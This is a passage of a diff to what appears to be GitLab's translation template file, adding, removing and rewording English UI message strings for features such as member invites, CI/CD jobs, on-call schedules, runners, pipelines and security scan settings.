+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
